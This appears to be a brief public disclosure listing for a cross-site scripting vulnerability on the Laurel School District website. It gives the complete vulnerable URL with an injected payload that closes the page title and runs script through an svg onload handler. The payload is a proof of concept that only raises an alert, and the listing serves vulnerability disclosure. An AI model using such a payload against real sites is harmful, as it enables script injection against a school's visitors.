laurel.k12.de.us XSS vulnerability

Vulnerable URL: http://www.laurel.k12.de.us/apps/news/shownews.jsp?RECID=401890=0=true=News%20Post%202016-2017%20School%20Calendar;%20Approved%20by%20Laurel%20Board%20of%20Education,%20April%2020,%202016%20-%20Laurel%20School%20District%3C/title%3E%3Csvg/onload=alert/XSSPOSED/%3E Details:...